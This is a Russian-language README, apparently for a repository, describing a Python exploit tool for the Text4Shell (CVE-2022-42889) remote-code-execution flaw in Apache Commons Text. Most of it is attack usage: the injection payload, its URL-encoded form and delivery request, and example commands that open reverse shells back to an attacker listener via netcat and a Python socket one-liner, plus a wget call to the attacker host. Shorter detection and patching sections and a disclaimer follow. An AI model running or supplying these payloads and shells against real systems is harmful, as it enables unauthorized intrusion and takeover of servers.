
Python-эксплойт для CVE-2022-42889 (Text4Shell), позволяющий удаленное выполнение кода через интерполяцию Apache Commons Text. Поддерживает генерацию обратной оболочки, SSRF и выполнение пользовательских команд.
Python-эксплойт для CVE-2022-42889 (Text4Shell) — критической уязвимости удаленного выполнения кода в Apache Commons Text версии до 1.10.0.
Этот эксплойт нацелен на CVE-2022-42889 (Text4Shell) — уязвимость в Apache Commons Text, которая позволяет выполнять удаленный код (RCE) с помощью специально созданных входных строк, обрабатываемых интерполятором StringLookup.
По степени воздействия уязвимость похожа на Log4Shell, но затрагивает другую библиотеку. Если пользовательский ввод передается в уязвимые методы, атакующий может выполнить произвольный код на целевой системе.
Apache Commons Text предоставляет интерполяцию строк через интерфейс StringLookup. Поиск interpolator позволяет вычислять выражения с различными префиксами, включая:
${script:javascript:...} — выполняет код JavaScript (движок Nashorn)${url:UTF-8:...} — загружает URL (SSRF)${dns:...} — DNS-запросы| Продукт | Затронутые версии | Исправленная версия |
|---|---|---|
| Apache Commons Text | < 1.10.0 | 1.10.0 |
| Java | < 15 (для RCE) | 15+ (Nashorn отключен) |
Примечание: версии Java ≥ 15 не уязвимы к RCE через префикс script (Nashorn отключен), но могут быть уязвимы к SSRF через префиксы url и dns.
requestsУстановка зависимостей:
pip install requests
Использование
bash
python3 text4shell.py -t <TARGET_IP> -p <PORT> -c <COMMAND> --lhost <YOUR_IP> --lport <YOUR_PORT>
Аргументы
Аргумент Описание Обязателен
-t, --target IP-адрес цели ✅ Да
-p, --port Порт цели (по умолчанию: 8080) ❌ Нет
-c, --command Команда для выполнения ✅ Да
--lhost Ваш IP для reverse shell ✅ Да
--lport Ваш порт для reverse shell ✅ Да
💻 Примеры
Пример 1: Простая проверка команды
bash
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "touch /tmp/test" --lhost 192.168.1.50 --lport 4444
Пример 2: Reverse shell с netcat
bash
# Start listener
nc -lvnp 4444
# Run exploit
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "busybox nc 192.168.1.50 4444 -e bash" --lhost 192.168.1.50 --lport 4444
Пример 3: Reverse shell на Python
bash
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.1.50\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" --lhost 192.168.1.50 --lport 4444
Пример 4: Тест SSRF
bash
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "wget http://192.168.1.50:8000/test" --lhost 192.168.1.50 --lport 4444
🔧 Как это работает
Формирование нагрузки: скрипт создает вредоносную строку с использованием синтаксиса ${script:javascript:...}:
javascript
${script:javascript:java.lang.Runtime.getRuntime().exec('COMMAND')}
URL-кодирование: специальные символы URL-кодируются для корректной передачи:
text
%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27COMMAND%27%29%7D
HTTP-запрос: скрипт отправляет GET-запрос на:
text
http://TARGET:PORT/search?query=ENCODED_PAYLOAD
Выполнение команды: если цель уязвима, она выполняет JavaScript и запускает команду.
🔍 Обнаружение
Проверьте, уязвима ли ваша система:
Ручной тест:
bash
curl -s "http://target:8080/search?query=\${script:javascript:7*7}"
Если ответ содержит 49 вместо ${script:javascript:7*7}, система уязвима.
Проверка версии:
Проверьте файлы CHANGELOG или README на версию Apache Commons Text
Найдите файлы commons-text-*.jar в приложении
🛡️ Меры защиты
Обновите Apache Commons Text до версии 1.10.0 или выше
xml
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
<version>1.10.0</version>
</dependency>
Перейдите на Java 15+ (отключает движок Nashorn JavaScript)
Проверка ввода: внедрите строгую проверку пользовательского ввода
Отключение интерполяции: если она не нужна, избегайте использования StringSubstitutor.createInterpolator()
Межсетевой экран уровня приложения (WAF): блокируйте запросы, содержащие шаблоны ${script:javascript:}
📚 Ссылки
NVD — CVE-2022-42889
Безопасность Apache Commons Text
Tarlogic — анализ Text4Shell
Предупреждение CISA
⚠️ Отказ от ответственности
Этот эксплойт предназначен только для образовательных целей и авторизованного тестирования безопасности. Несанкционированное использование этого эксплойта против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, незаконно. Авторы не несут ответственности за любое неправомерное использование или ущерб, причиненный данным инструментом.
📄 Лицензия
Этот проект лицензирован под лицензией MIT — подробнее см. в файле LICENSE.
🤝 Вклад
Приветствуются вклады, сообщения об ошибках и запросы функций! Загляните на страницу issues.
Счастливого хакерства! 🚀